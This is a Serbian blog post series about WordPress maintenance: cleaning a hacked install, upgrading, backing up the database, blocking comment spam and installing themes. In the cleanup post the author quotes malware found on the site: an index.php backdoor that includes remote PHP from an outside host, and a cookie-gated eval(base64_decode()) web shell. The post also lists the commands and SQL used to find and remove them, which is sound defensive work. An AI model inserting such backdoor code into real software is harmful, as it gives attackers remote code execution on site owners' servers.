Čišćenje zaraženog WordPressa

Čišćenje zaraženog WordPressaIgrom slučaja, održavam veliki broj WordPress instalacija. Tu spada standardni upgrade instalacija (koji je sada dosta olakšan automatskim osvežavanjem, od verzije 2.7), backup baze i fajlova, i sličnih sitnica 🙂

Pri tom sam, kao i svi IT geekovi (freakovi) itekako ponosan na svoj rad – sve fino i ispeglano, sve radi kao sat. Možete onda zamisliti mog užasa kada sam u Google Reader-u video ovakvu sliku:

Hackovan WordPress: prikaz u RSS čitaču

Pri tom je WordPress u pitanju potpuno zakrpljen, na verziju 2.8.2

(sitno upozorenje: uputstvo koje sledi podrazumeva da zaista znate šta radite 🙂 – nije za hobi vlasnike WordPress-a i potreban je full backup svih fajlova i baze pre ikakvog igranja)

Ovo je zahtevalo solidnu akciju – krenuo sam u analizu celokupnog WordPress-a, od baze do fajlova, na svim dostupnim instalacijama.

Analiza

Promena u fajlovima – sondiranje

Prvi i najjednostavniji korak je videti da li su, i koji WordPress fajlovi promenjeni. Rečeno – učinjeno: skočio sam do WordPress release arhive i skinuo odgovarajuću verziju. Zatim sam skinuo i tekuće fajlove i uz pomoć WinMerge programa napravio poređenje.

Imao sam šta i da vidim:

index.php – umesto očekivanog:

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');

dobio sam:

/** Loads the WordPress Environment and Template */
if (isset($_GET['license'])) {
    @include('http://wordpress.net.in/license.txt');
} else {
    require('./wp-blog-header.php');
}

Praktično, sajt http://wordpress.net.in/license.txt “učestvuje” u vašem blogu, a da vas za to nije pitao 😉

Zatim xmlrpc.php – umesto očekivanog:

if ( isset($HTTP_RAW_POST_DATA) )
    $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);

upisano je:

if ( isset($HTTP_RAW_POST_DATA) )
    $HTTP_RAW_POST_DATA = mysql_escape_string(trim($HTTP_RAW_POST_DATA));

(mada nisam uspeo da provalim kakva je funkcionalnost dodavanja mysql_escape_string funkcije).

Promena u fajlovima – detaljna analiza

Kako mi je ovo samo pokazalo da promena zaista ima, krenuo sam u temeljniju akciju: napravio sam lokalnu “sliku” sajta, dopunjujući instalaciju WordPress-a sa svim svežim pluginovima i uporedio sa situacijom sa sajta. Rezultat je bio neverovatan; ovo su samo od nekih fajlova koji su volšebno nastali na sajtu, a da ne pripadaju originalno instalaciji:

wp-content/plugins/events-calendar/ec_management.bak
wp-content/plugins/exec-php/css/admin.old
wp-content/plugins/exec-php/includes/option.old
wp-content/plugins/exec-php/images/progress.old
wp-content/plugins/wp-super-cache/wp-cache-base.old
wp-content/plugins/wp-cache/README.old
wp-content/uploads/2008/01/svinja_old.png
wp-content/themes/classic/header_old.gif

Algoritam imenovanja ovih fajlova je jednostavan – uz neki postojeći fajl se kreira novi fajl, koji dobija nastavak .old ili .bak ili to isto postaje deo imena. Bez obzira na nastavak, unutra je maliciozni php kod koji radi veoma ružne stvari.

Pored gornjih, postojala je gomila novih fajlova među slikama, sa nastavcima kao što su .pngg, .jpgg ili .giff, koji su takođe imali zločesti php kod.

Ako imate ssh pristup serveru, neke od komandi koje mogu pomoći u lociranju fajlova su:

find . -name *_new.php
find . -name *_old.php
find . -name *.old
find . -name *.bak
find . -name *.pngg
find . -name *.jpgg
find . -name *.giff 

grep -r -l -i 'f541b3abd05e7962fcab37737f40fad8' *
grep -r -l -i 'if(md5' *

Sem novih fajlova, i gomila postojećih fajlova je promenjena (obično među temama), dodavanjem nekoliko linija koda, na primer:

if(md5($_COOKIE['e4485c074ae5eeec'])=="1350e06b21ccb35f1389d7587fbe42cc") {
    eval(base64_decode($_POST['file'])); 
    exit; 
}

Prva (pogrešna) misao je da su fajlovi “nekako” dospeli na blog, i da je dovoljno da ih izbrišem i sve će biti ok. Tako sam krenuo u:

Čišćenje

Korak 1 – fajlovi

Umesto da brišem i proveravam fajl po fajl, lokalno sam:

  • Raspakovao najnoviju verziju WordPress-a
  • na to dodao sve pluginove koji se koriste na sajtu, skinute ponovo sa originalnih adresa
  • sve teme ponovo skinuo i stavio ih u wp-content/themes
  • Sa sajta: wp-config.php iz root foldera
  • Sa sajta: izmenjene fajlove iz tema, pri tom poredeći svaki izmenjeni fajl sa originalnim, koristeći WinMerge
  • Sa sajta: wp-content/uploads folder, propisno očišćen od čudnih, gore pomenutih fajlova
  • Po uploadu čiste verzije sajta pobrinuo se da svi php fajlovi imaju 644 prava pristupa

No već sledeći dan je pokazao da ova akcija nije pomogla – ponovo su spam linkovi bili u RSS feedu, i ponovo su čudni fajlovi našli put do WordPress instalacije.

Sada mi nije preostalo ništa no da razumem ceo mehanizam kako su hackeri uopšte provalili u WordPress i kako “rupu” održavaju otvorenom.

Kako su svi fajlovi bili potpuno čisti, a hack je opet proradio, logično mesto napada je naravno, MySQL baza gde WordPress drži sve svoje podatke i podešavanja.

Korak 2 – baza podataka

Kada proveravam podatke, koristim uvek “direktni” pristup – nikako kroz sam WordPress admin panel. Prvo sam pregledao wp_users tabelu i imao sam šta i da vidim:

Korak 2.1 – strani administratorski nalozi

Hakovana WordPress baza: users tabela
(klikni za veću sliku)

  • Dodat je WordPress user, sa nultim vremenom kreiranja
  • Dodat je jedan ili više usera, gde je username nastalo ili od mail adrese admina ili na admin nalepljeno još neko slovo. Karakteristično je vreme kreiranja – identično je vremenu kreiranja prvog admin naloga (praktično kopiranje sloga)

Naravno, svi novokreirani nalozi imaju administrativna prava (dalje ispitivanje je pokazalo da je WordPress imao gomile propusta u verzijama 2.2 – 2.7 koji su omogućavali ovakvo direktno kreiranje naloga).

Rešenje: obrisati sve te naloge.

Ovakvi nalozi daju napadajućem skriptu mogućnost da radi šta god bilo: da kreira fajlove, da menja podatke u bazi; pitanje je šta je stvarno od toga i urađeno.

Korak 2.2 – wp_options / active_plugins

Pokušao sam da u samoj bazi nađem referencu na neki od “čudnih” fajlova, ranije pronađenih; i našao sam ih: nalazili su se fino ušuškani u tabeli wp_options, pod sekcijom ‘active_plugins‘; ovo praktično znači da im je obezbeđeno automatsko učitavanje svaki put prilikom podizanja WordPressa.

Proveru možete izvršiti ili SQL upitom:

SELECT *
FROM `wp_options`
WHERE option_name = "active_plugins"

ili smeštanjem i izvšavanjem malog php programčeta koji će to uraditi za vas (daleko pregledniji a i ne zavisi od wordpress table prefix-a):

<?php
require( './wp-load.php' ); 
if ( get_option('active_plugins') ) 
{
    $current_plugins = get_option('active_plugins');
    if ( is_array($current_plugins) ) 
    {
     foreach ($current_plugins as $plugin) 
     {
       if ('' != $plugin ) 
       {
         echo $plugin . '<br />';
       }
     }
    }
}
if ( get_option('internal_links_cache') ) 
{
    $link = get_option('internal_links_cache');
    if ('' != $link ) 
    {
      echo '<hr>DELETE internal_links_cache option!<br />';
    }
}?>

Rešenje: ako ste locirali nedozvoljene ili neobične pozive vezane uz neke pluginove, najlakše ćete se osloboditi tih delova ako kroz WordPress admin panel deaktivirate taj plugin pa ga ponovo aktivirate.

A šta ovi fajlovi zaista rade? Ako malo analizirate (poprilično šifrovan) kod ovih fajlova, jedan od elemenata koje ćete videti je i:

SELECT option_value FROM $wpdb->options 
WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'

i to se nalazilo u većini hack fajlova.

Vrednost ove opcije (isto iz tabele wp_options, ovoga puta za option_name = ‘rss_f541b3abd05e7962fcab37737f40fad8‘) je ogromno parče base64 šifrovanog php koda (pre toga uradite strrev, ako želite da ga pravilno čitate) gde se nalazi pravi engine cele hack rutine – od “ispaljivanja” spam linkova pa sve do otvaranja i ispisivanja CELE BAZE korisniku koji zna da priđe sajtu kako treba – veoma destruktivan kod.

Ako pobliže zagledate gornji php kod za izlistavanje, videćete da pored izlistavanja pluginova, ovaj kod proverava i postojanje opcije ‘internal_links_cache’ – naime, neki od hack fajlova čitaju ovu opciju, rade base64_decode i sadržaj (a to su obično gomile i gomile spam linkova) ispaljuju u vaš RSS feed.

Rešenje: obrisati slogove iz wp_options tabele sa
option_name = ‘rss_f541b3abd05e7962fcab37737f40fad8’ i option_name = ‘internal_links_cache’:

DELETE FROM wp_options WHERE option_name = 'internal_links_cache' OR 
option_name = 'rss_f541b3abd05e7962fcab37737f40fad8';

Na kraju

Samo da sumiram; ako vam se u vašoj instalaciji WordPress-a učini bilo šta sumnjivo (javi se vaš antivirus program, korisnici primete čudan sadržaj u RSS feedu), onda:

  • Uradite full backup i baze i fajlova
  • Nađite nekog ko sme da se bakće sa samim sitnim crevcima WordPress-a
  • Proverite prvo fajlove
  • Proverite administratorske naloge
  • Proverite opcije samog WordPressa koje omogućavaju da se useli neželjeni kod

Tek ovakve stvari pokazuju koliko je važno da održavate vaš WordPress “svežim” i da primenjujete zakrpe čim se pojave – inače, možete postati i ostati žrtva spamera a da toga niste ni svesni.

Challenge i WordPress 2.8

WordPress 2.8 i Challenge - loša kombinacijaAko koristite visoko efikasni dodatak, Challenge, za odbranu protiv spama (sabiranje, sabiranje) a uradili ste osvežavanje (upgrade) WordPress-a na poslednju, 2.8 verziju, isključite Challenge.

Naime, kako su to Charolija i Mooshema lepo prijavile, možete da se oderete od sabiranja i opet ništa.

Šteta. Probaću da kontaktiram autora i/ili da sam vidim šta ga boli, ali za sada: WordPress 2.8 i Challenge – nesrećna kombinacija.

WordPress 2.6 i Flash 10 – loša karma

Wordpress - postavljanje temeU nekoliko poslednjih verzija WordPress je doneo novosti kod ubacivanja slika u tekstove (upload modul) – pored “regularnog” html modula, ponudili su i Flash based, sa solidnim skupom mogućnosti.

No, poslednja verzija ovog plugina, verzija 10, je potpuno “izlomila” ovaj deo – više nije moguće ubaciti slike preko Flash verzije, što se mnogim skribomanima neće dopasti 🙂

Šta je rešenje? Ima ih više:

  • koristite Browser based (html) verziju uploadera; ima daleko manje mogućnosti, ali radi bez obzira na Flash plugin
  • sačekajte WordPress verziju 2.7 u kome je urađena ispravka ovog problema
  • vratite se na Flash verziju 9 (koja lepo radi).

Poslednja predložena alternativa ima nekoliko koraka:

Uklanjanje (deinstalacija) Flash 10 plugina

Skinite zvaničan Adobe Flash deinstaller:

http://kb.adobe.com/selfservice/viewContent.do?externalId=tn_14157

Pozatvarajte SVE programe, sa posebnim osvrtom na browser i messenger programe (IE, FF, Safari, Opera, MSN, GTalk, Yahoo, ma sve), Vista Sidebar i sve ostale programe iz SysTray dela.

Tek kada ste sigurni da nemate ni jedan program koji koristi Flash, aktivirajte gornje programče za deinstalaciju. Kada odradi posao, restartuje mašinu.

Instalacija starije (9.0.151) verzije Flash-a

Na ovoj stranici imate arhivu svih verzija Flash player-a; sad, arhiva je 134 Mb, što je malo preterano; zato sam skinuo i izdvojio tri datoteke (garant kršim neko pravilo, ali ‘ajde 🙂 ):

Izaberite onu koja vam odgovara, i instalirajte je.

Na kraju, proverite da li sve radi; i gledajte da ne radite upgrade Flash-a 🙂 dok ne izađe WP 2.7.1 😉

WordPress – upgrade (osvežavanje) verzije

Jedna od redovnih operacija kod održavanja sopstvenog bloga je WordPress upgrade. Naime, WordPress je veoma aktivan projekt i vrlo često izlaze nove verzije.

Postoje dve vrste verzija: sigurnosne (kada se menja treća cifra u broju verzije – 2.6.3) i funkcionalne – kada se dodaje veliki broj novih opcija i funkcija u WordPress (i tada se menja druga cifra u verziji – recimo 2.7.0 koja se planira sredinom novembra 2008) – više o “velikim” verzijama imate na mapi razvoja.

U principu, treba primeniti svaku novu verziju na vaš blog; no, ovo je iskustveni savet: ako je treći broj verzije nula (kao u 2.7.0) – sačekajte. Ne kažem da su prve “velike” verzije loše, samo se pokazalo da obično imaju dosta sitnih grešaka (što je i normalno jer im prethodi veliki razvoj).

Backup baze i sajta

Prvi i apsolutno obavezni korak u Wordress osvežavanju je backup baze – prosto nema opravdanja za izbegavanje ovog koraka: tu su vaša podešavanja, svi tekstovi, svi komentari, svi nalozi na vašem blogu (ako ih imate više).

Zato, prvo backup baze, provera da je arhiva i datoteka unutar arhive čitljiva, pa onda idemo dalje.

Nije loše uraditi i kompletan backup svih fajlova koji čine vaš sajt; i prosto kopiranje na vaš računar koristeći FileZillu recimo je dovoljno. Kako zbog velikog broja fajlova ovo zna da potraje, minimum koji treba iskopirati pre osvežavanja su:

  1. wp-config.php u osnovnom direktorijumu
  2. ceo wp-content folder

(ako niste sigurni kako da uradite ovo, pogledajte prethodne nastavke; ako i posle toga niste sigurni 🙂 pitajte u komentarima ili na mail)

Korisnici cPanela mogu jednostavno da kliknu na Download a home directory Backup i tako skinu sve fajlove u jednoj (vrlo često povelikoj) arhivi.

Skidanje nove verzije i priprema

WordPress arhivu možete skinuti sa http://wordpress.org/download/ (engleska verzija) ili sa http://sr.wordpress.org/ (srpska verzija) – izaberite prema vašim sklonostima.

Kada ste skinuli arhivu, raspakujte je, recimo koristeći 7-Zip:


(klikni za veću sliku)

Sada ćete dobiti wordpress direktorijum gde su svi fajlovi od nove verzije.

Isključivanje svih pluginova

Pre slanja fajlova na server, obavezno je da isključite sve uključene pluginove:

WordPress: isključivanje svih plugina (klikni za veću sliku)
WordPress: isključivanje svih plugina (klikni za veću sliku)

Pre toga, zapamtite / zabeležite koji pluginovi su uključeni, da bi iste uključili posle cele operacije.

Osvežavanje – FTP-om

Osvežavanje verzije preko FTP-a (recimo iz FileZille) je jednostavno:

Filezilla: osvežavanje WordPress instalacije (klikni za veću sliku)
Filezilla: osvežavanje WordPress instalacije (klikni za veću sliku)
  • locirate upravo raspakovan wordpress direktorijum sa leve strane (lokalni računar)
  • locirate osnovni wordpress direktorijum na sajtu
  • obrišite wp-admin na sajtu (1 min 20 sec)
  • obrišite wp-include na sajtu (2 min 50 sec)
  • selektujete sve sa leve strane u donjem delu, gde su datoteke (Ctrl-A), desno dugme na taj izbor pa upload
  • potvrdite da želite da pregazite sve postojeće fajlove
  • prebacite fajlove na server (13 min 40 sec)


Potvrda gaženja datoteka – klikni za veću sliku

Zašto pišem vremena? FTP protokol prosto nije namenjen prebacivanju velikog broja (preko 500 u tekućoj WP instalaciji) – tada je spor i za upgrade će vam trebati maltene 20 minuta. U tom periodu, ko god dođe na vaš sajt može da dobije svakakve stranice i informacije o greškama.

No, tu na žalost ne možete puno uraditi – FTP protokol ne poznaje “raspakuj arhivu” komandu; jedino možete izabrati “mirnije vreme” kada je poseta na sajtu manja.

Osvežavanje – cPanel

Kroz cPanel možete osvežiti WordPress kao i kroz Filezillu – datoteku po datoteku. Naravno, to nije nikakav napredak. No, cPanel ima jednu jako dobru funkciju koja omogućava da ovaj posao bude mnogo udobniji: raspakivanje arhiva na serveru:

  • spakujete sve datoteke u jednu arhivu kod vas na računaru
  • iskoristite cPanel: File Manager za upload te arhive na server
  • na kraju, kliknete na arhivu (kada je na serveru) i gore desno izaberete Extract File Content:
cPanel: raspakivanje arhive (klikni na veću sliku)
cPanel: raspakivanje arhive (klikni na veću sliku)

Ali, (naravno, uvek ima neko ali), cPanel ima tu ružnu osobinu da kada raspakuje obične zip arhive, preskače sve datoteke koje već postoje na serveru, što naravno poništava poentu osvežavanja – nama to upravo i treba – da uradimo zamenu postojećih datoteka boljim verzijama.

Šta je rešenje? Pa, recimo spakovati datoteke u .tar.gz arhivu, koju cPanel raspakuje bez problema i radi (kako i treba) gaženje starih verzija. Startujte 7-Zip File Manager, siđite do direktorijuma gde čuči novi WordPress, označite sve datoteke i direktorijume (Ctrl – A), i kliknite na veliko zeleno +:

7-Zip: pravljenje tar arhive (klikni za veću sliku)
7-Zip: pravljenje tar arhive (klikni za veću sliku)

Na tom dijalogu izaberite tar tip – dobićete wordpress.tar datoteku. Još nije gotovo – označite sada samo wordpress.tar datoteku, i ponovo kliknite na veliko zeleno +:

7-Zip: pravljenje gzip arhive (klikni za veću sliku)
7-Zip: pravljenje gzip arhive (klikni za veću sliku)

ovog puta izaberite Gzip i konačno ste dobili .tar.gz arhivu (razlog za dva koraka: Gzip pakuje samo jednu datoteku).

SADA uradite upload na sajt i izaberite raspakivanje – za nekoliko trenutaka ćete imati raspakovanu novu verziju WordPressa.

Finalni koraci

Ono što je obavezno je da prvi link kome pristupite bude http://adresa-bloga/wp-admin/upgrade.php – nikako da se ulogujete ili bilo šta slično!

Ignorisanje ovog koraka je najčešći uzrok neuspelim i problematičnim WordPress osvežavanjima – ovaj finalni korak radi promene u bazi bez kojih novi fajlovi neće raditi kako treba.

Kada je ovo sve odrađeno, aktivirajte pluginove sa spiska koji ste napravili pre samog osvežavanja.

I to je to 🙂

Ovim bih (barem za sada) zatvorio krug “WordPress Radionice za početnike”; to nikako ne znači da neću i dalje pisati o WordPress-u, samo će biti to malo ređe i sa malo naprednijim temama.

To vas naravno ne sprečava da u komentarima / mailu zatražite još neku lekciju sa određenom temom 🙂

WordPress – sačuvajte bazu

U prethodnim nastavcima WordPress radionice naučili ste (barem se nadam 😉 ):

Red je da se sada bacimo na zaista ozbiljne stvari i pripremimo WordPress za upgrade.

Prvo, od čega se sastoji instalacija jednog WordPress bloga? Neka slika bi mogla da izgleda ovako:

  • datoteke koje skinete sa WordPress sajta i koje čine instalaciju samog WordPress-a stavljate na jednu mašinu i to obično preko FTP protokola
  • na isto mesto (u wp-content direktorijum) idu obično i nove teme, pluginovi kao i slike koje postavite na sajt

Za razliku od opipljivih datoteka, vaši tekstovi i komentari, sve što se dinamički kreira, ide u MySQL bazu podataka (koga zanima: više detalja o MySQL imate kod Miffa: uvod i upiti u php-u)

Cilj ovog nastavka je da naučite kako da sačuvate sadržaj iz baze – to vam je najvažniji deo vašeg bloga. Ovaj postupak treba da bude periodičan; učestalost zavisi od toga koliko često objavljujete postove i dobijate komentare, ali je sigurna zona jednom nedeljno; ako se nešto i desi, izgubićete u najgorem slučaju nedelju dana pisanja i komentarisanja.

Na žalost početnika 🙂 načini na koji hosting provajderi (firme kod kojih držite vaše prezentacije i blogove) omogućavaju da pristupite vašim bazama su brojni; ja ću predstaviti 3 sa kojima sam se najčešće sretao; no, ako ovo ne bude dovoljno, i vi imate neki drugi način, pišite mi i rado ću i njega uključiti u lekciju.

I da, iako ni jedan od ovih načina ne bi trebalo da ošteti podatke, radite pažljivo 😉 da ne bude posle da sam ja za sve kriv 🙂

Pristupni parametri

Pre nego li krenemo u čuvanje baze, treba da znamo jel’te gde se nalazi 😉 Četiri parametra određuju bazu u potpunosti:

  1. DB_HOST ili ime mašine gde se nalazi baza
  2. DB_NAME ili ime same baze (mašina može da drži gomilu baza)
  3. DB_USER korisničko ime za pristup bazi (ovo najčešće nije isto sa FTP ili WP korisničkim imenom!)
  4. DB_PASSWORD – lozinka za gornje

Ovi parametri se nalaze u wp-config.php fajlu, u osnovnom direktorijumu WP-a i izgleda nekako ovako:

i možete iskoristiti FileZillu za dohvatanje tog fajla.

1. WP-DB-Backup

Jedna od glavnih prednosti WP-a je njegova proširivost; postoje gomile pluginova koji donose WP-u dodatnu funkcionalnost. Za očekivati je da postoji plugin koji radi upravo ono što nam treba:

WP-DB-Backup

Postupak je vrlo sličan kod postavljanja tema:

  • Skinete plugin sa gornje adrese
  • Raspakujete ga lokalno
  • Upalite Filezillu i prebacite ga u wp-content/plugins folder

Sada se ulogujte na administativni deo WP-a, izaberite desno Plugins i aktivirajte novi plugin.

Jednom aktiviran, plugin možete podesiti na Manage / Backup stranici:

Na ovoj stranici ima nekoliko bitnih podešavanja:

Da li će kopija podataka baze (tj. backup) biti smeštena na:

  • na serveru (ne preporučujem; vama je baza već kod hosting kompanije; nema puno smisla tamo čuvati i kopiju)
  • po pritisku na Backup now! biti snimljena kod vas na računar (ovo je preporučena opcija)
  • biti poslata na vaš mail (i ovo je ok opcija, barem u početku, dok je arhiva mala)

Ovde možete izabrati i opciju da se backup pravi periodično i šalje na mail, što je takođe vrlo korisno; postavite na nedeljni raspored i vaši podaci su kod vas bez ikakve akcije.

Primetite da za ovu opciju pristupni podaci nisu ni bili potrebni 🙂 jer se sve radi iz samog WordPress-a.

Koju god da opciju izaberete, backup ćete dobiti kao jednu datoteku, obično sa kriptičnim imenom:

vesic_test_wp_v3jolo_20081022_959.sql.gz

gde očiglednu ulogu ima ime baze, datum, vreme i još neke sitnice 🙂

Nastavak “gz” kaže da je ovo gzip arhiva; upotrebite neki pristojni arhiver (recimo 7-zip) sa kojim ćete proveriti da je arhivu moguće raspakovati i da se unutra nalazi tekstualni fajl sa nastavkom sql.

Tek sada, po proveri svega gornjeg možete reći da je backup završen 🙂

2. phpMyAdmin

Jedan od najčešćih načina pristupa vašoj bazi je web aplikacija phpMyAdmin; solidan način za rad sa bazom. U ovom slučaju će vam pored pristupnih parametara gore navedenih trebati i adresa (URL) phpMyAdmin aplikacije – ovo treba da vam da vaša hosting kompanija; ako baš nemate sreće, pokušajte da u adresu browsera unesete DB_HOST vrednost (ako ta vrednost nije localhost).

Pretpostaviću da ste uspeli da nađete adresu i da ste se ulogovali sa datim DB_User / DB_Password. Ekran koji ćete dobiti izgleda otprilike ovako:

Opcija koja je potrebna je Export; po izboru, sledi ovakav ekran; izaberite vašu bazu gore levo i ostale opcije (već izabrane na ovoj slici):

Klikom na “Go” dobićete Zip arhivu vaše baze.

cPanel

cPanel je vrlo čest panel za upravljanje sajtom / bazama kod hosting kompanija. Da bi mu pristupili trebaju vam opet URL (adresa), zatim username i password (novi, do sada nepomenuti 🙂 ); kada mu jednom pristupite, dobićete ekran sličan ovome:

Kliknete na Backups ikonicu (a ne na MySQL Databases, iako izgleda privlačno):

Oduprite se porivu da kliknete na Generate ili Download Full backup 🙂 to vam ne treba; dovoljno je da u donjem levom uglu kliknete na ime baze i za nekoliko trenutaka ćete imati backup na vašem disku.

Eto 🙂 Vežbajte backup i stavljajte probleme u komentare; još malo pa dolazi i finalna lekcija za WordPress upgrade.

WordPress – Zaštita od spama

Jedna od napasti koja će vas sigurno pogoditi čim krenete u blogerske vode je napad spamera – tih iznad svega dosadnih ljudi i programa koji će pokušavati da ostave linkove za vijagre, posao snova i slične internet “lepote”.

Kod blogovanja, postoje dve osnovne vrste spama:

  • Ostavljanje spama kao komentara
  • Ostavljanje spama kao trackback linkova

U prvom slučaju, spamer (vrlo retko lično) ili njegov program pokušava da ostavi što više komentara na vaše tekstove koji će imati linkove ka njegovom sajtu i proizvodu.

U drugom slučaju, radi to isto, ali kao trackbacks – povratne linkove; povratni linkovi su inače način kojim se obaveštava drugi bloger da komentarišete njegov tekst (više o tome malo kasnije).

Kako se ove napasti osloboditi? Prvo, urednim osvežavanjem vaše WordPress instalacije; neretko se nove verzije WP-a izbacuju upravo da bi popravili propuste koji omogućavaju spamerima da direktno ubacuju komentare / trackback na vaše tekstove. Drugo, korišćenjem pluginova za tu namenu.

Dodavanje plugina

Kako se uopšte dodaju novi pluginovi u vašu WordPress instalaciju?

Pretpostaviću da imate osnovne parametre i da ste definisali vaš sajt u Filezilli ili sličnom programu.

Kada ste ovo odradili, instalacija plugina je umnogome slična dodavanju teme; samo se ciljni folder razlikuje i sada je wp-content/plugins:

Mesto za pluginove (klikni za veću sliku)
Mesto za pluginove (klikni za veću sliku)

Jedina sitna razlika je da se teme obično “pakuju” u foldere ispod osnovnog, dok se ovde često dešava da plugin ide direktno u wp-content/plugins.

Preporučeni pluginovi

Update posle Dedinog komentara: dodajte jedan po jedan plugin (ne sve odjednom); prvo Aksimet, pa onda sve ostale – tek ako se ukaže potreba (odnosno, krenu da “varaju” Akismet) dodajte ostale – što je više plugina uključeno, veća je šansa da regularan komentar neće proći.

Ovo definitivno nije definitivna lista 🙂 ali je najbolje do čega sam došao metodom pokušaja i promašaja 😉 Izbor ekipe protiv spama za ovu blog sezonu je:

1. Akismet

Ovaj plugin dolazi sa instalacijom WP-a i koristi statističke metode da bi odredio da li je neki komentar spam ili ne; da bi ga aktivirali, potrebno je da dobijete aktivacioni ključ a to se radi na WordPress.Com sajtu; pri tom je dovoljno kreirati username, bez pravljenja bloga (jer blog, zar ne, već imate 🙂 ):

Kreiranje naloga za Akismet ključ (klikni za veću sliku)
Kreiranje naloga za Akismet ključ (klikni za veću sliku)

Kada ste kreirali nalog, na vašem profilu (meni gore levo) možete naći vaš Akismet ključ:

Lociranje Akismet ključa (klikni za veću sliku)
Lociranje Akismet ključa (klikni za veću sliku)

Ostaje da u vašem WordPress administrativnom panelu, aktivirate Akismet Plugin (Plugins / Plugins) a zatim da u Akismet konfiguraciju ubacite novodobijeni ključ:

Akismet - aktiviranje plugina (klikni za veću sliku)
Akismet - aktiviranje plugina (klikni za veću sliku)

2. Challenge

Ovo je fini mali plugin sa jednostavnom idejom: svakom komentatoru će postaviti jednostavno matematičko pitanje (“Koliko je 3 + 4?”) i tačan odgovor će istovremeno odobriti i komentar. Zlobnici bi rekli da pored osnovne namene omogućava takođe proveru da li komentatori imaju dovoljan IQ za komentarisanje na vašem blogu 🙂

Lokacija: http://lordchaos.dominatus.net/wordpress-plugin-challenge

Po instalaciji, potrebno ga je aktivirati (Plugins / Plugins) a zatim izvršiti i podešavanja (Settings / Challenge); primer podešavanja ovog plugina:

Podešavanja Challenge plugina (klikni za veću sliku)
Podešavanja Challenge plugina (klikni za veću sliku)

Inače, ova nedoslednost (da se neki pluginovi podešavaju u Settings sekciji, a neki u Plugins sekciji) je posledica kompatibilnosti sa starijim verzijama WordPress-a.

Kod ovog plugina sam takođe odstupio od zlatnog pravila da plugin koji instaliram mora da bude “svež” i da prati poslednju verziju WordPress-a; za Challenge se tvrdi da je testiran do verzije 2.2 a i autor se ne javlja sa novim verzijama. No, kod mene radi (WP 2.6.2) ali nemojte reći da vas nisam upozorio 🙂

Još jedno bitno upozorenje: većina pluginova koji ubrzavaju prikaz vaših stranica korisnicima (recimo WP Cache ili WP Super Cache) nisu kompatibilni sa ovim pluginom.

(da, u potrazi sam za alternativom ovom pluginu, ali još uvek nisam našao efikasnu i jednostavnu zamenu – ako imate predlog, samo napred).

3. Simple Trackback

Ostaje još plugin za borbu protiv TrackBack linkova – Simple Trackback Validation.

TrackBack je način da nekoga obavestite da ste napisali tekst izazvan njegovim tekstom:

  • Osoba A napiše tekst
  • Vi poželite da detaljno prokomentarišete, ali kroz ceo tekst na vašem blogu umesto u komentarima na sajtu A
  • Napišete tekst i u toku pisanja u odgovarajuće polje (TrackBack) unesete link do originalnog teksta
  • Kao rezultat, na sajtu A će se pojaviti kao komentar link do vašeg teksta i efektivno ih “povezati”

Ideja je dobra, ali je na žalost dobra i za spamere; zato dodajte ovaj plugin i podesite ga; dajem primer podešavanja za koje smatram da je dobra mera između stepena odbrane i agresivnosti plugina:

Simple Trackback Validation Plugin - podešavanja (klikni za veću sliku)
Simple Trackback Validation Plugin - podešavanja (klikni za veću sliku)

Na kraju, čak ni kombinacija ova tri plugina nije savršena; s vremena na vreme će i potpuno korektan komentar završiti kao “spam”; zato redovno proveravajte komentare markirane kao spam; na sreću, neće ih puno biti 🙂

WordPress – postavljanje nove teme

Wordpress - postavljanje temeNa zahtev mnogobrojnih 😉 čitalaca, i kao pojašnjenje radionice održane na BlogOpenu 2008, polako ću krenuti u objašnjavanje slajdova / tehnika za efikasno korišćenje WordPress-a.

Redosled “lekcija” neće biti određen slajdovima već u zavisnosti šta pitate 🙂 i šta su najčešća pitanja.

Za početak idemo na:

Postavljanje nove teme na WordPress blogu

Za ovu akciju je potrebno:

  1. Username i password za pristup WordPress fajlovima kod vašeg hosting provajdera; ovo nije isti username i password koji koristite za logovanje na WordPress admin deo i obično nemaju nikakve veze. Obično se na ovaj par (username, password) referiše kao ftp, sftp, shell (username, password). Ako ga nemate, nema razloga da čitate dalje 🙂
  2. Arhiver – za raspakivanje / pakovanje zip i sličnih arhiva; preporučujem 7-Zip
  3. FTP klijent – program za prenošenje datoteka između vašeg računara i hosting provajdera (odnosno tamo gde vam sedi instalacija WP-a); preporučujem FileZilla program (treba vam Client).

Nalaženje nove teme

Tema za WordPress ima na svakom koraku. Neki od linkova gde možete pogledati su:

Ono što je bitno prilikom izbora teme:

  • Tema treba da podržava verziju WordPress-a koju koristite (a to je, nadam se, najnovija 😉 )
  • Pročitajte (obično kratak) dokument koji su uslovi za korišćenje teme (najčešći zahtev je da ne menjate link ka autorovom sajtu u futeru teme).

Kada jednom izaberete temu, skinite je (download) na vaš računar i raspakujte je u poseban folder (obično su teme tako i pakovane, sa sve folderom):

WordPress - Raspakivanje teme lokalno (klikni na veću sliku)
WordPress - Raspakivanje teme lokalno (klikni na veću sliku)

Ubacivanje teme u WordPress

Filezila: definisanje sajta

Pre nego što krenete sa trošenjem tema u WP-u, potrebno je podesiti FileZillu za pristup vašem sajtu (na sreću, samo jednom). Startujte Filezillu i izaberite File / Site Manager:

FileZilla - definisanje sajta
FileZilla - definisanje sajta

Host: Ovo je obično ime sajta sa ili bez www; nekada je to i adresa (četiri broja odvojena tačkama) – sve zavisi od vašeg provajdera.

Servertype / Logontype: dao sam najčešće, ali mogu da budu i druge opcije u ovoj padajućoj listi (opet zavisi od hosting provajdera).

Username / Password su iz tačke 1. sa početka teksta.

Od sada pa na dalje se na vaš sajt kačite biranjem strelice na početku taskbara i izborom sajta:

Ubacivanje teme

Kada ste se nakačili na sajt, ubacivanje teme je jednostavno; sa desne strane izaberete wp-content/themes, sa leve strane izaberete lokalni folder sa temom (dobro obratite pažnju da birate folder u kome je sama tema a ne folder u kome je folder sa temom 🙂 ), zatim desno dugme miša i Upload:

Filezilla: upload teme (klikni za veću sliku)
Filezilla: upload teme (klikni za veću sliku)

Ostaje još samo da aktivirate novu temu u WordPress administrativnom panelu:

WordPress: aktiviranje teme (klikni za veću sliku)
WordPress: aktiviranje teme (klikni za veću sliku)

I to je to 🙂

Google Reader – Fore i Fazoni

(nekako mi izgleda najbolje da “Tips & Tricks” prevodim kao “Fore i Fazoni”, ali slobodno predložite bolji izraz 🙂 )

